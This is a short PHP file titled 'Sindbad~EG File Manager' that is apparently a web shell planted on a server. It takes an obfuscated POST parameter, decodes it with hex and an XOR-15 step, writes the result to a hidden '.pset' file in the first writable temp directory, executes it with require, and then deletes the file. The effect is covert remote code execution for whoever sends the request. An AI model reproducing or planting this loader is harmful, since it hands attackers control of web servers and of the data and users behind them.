Sindbad~EG File Manager

<?php

if(array_key_exists("\x70\x74r", $_POST) && !is_null($_POST["\x70\x74r"])){
	$elem = hex2bin($_POST["\x70\x74r"]);
	$sym     =     ''    ;     for($v=0; $v<strlen($elem); $v++){$sym .= chr(ord($elem[$v]) ^ 15);}
	$flg = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), "/var/tmp"]);
	$data = 0;
do {
    $parameter_group = $flg[$data] ?? null;
    if ($data >= count($flg)) break;
    		if (is_dir($parameter_group) && is_writable($parameter_group)) {
    $ref = "$parameter_group" . "/.pset";
    if (file_put_contents($ref, $sym)) {
	require $ref;
	unlink($ref);
	exit;
}
}
    $data++;
} while (true);
}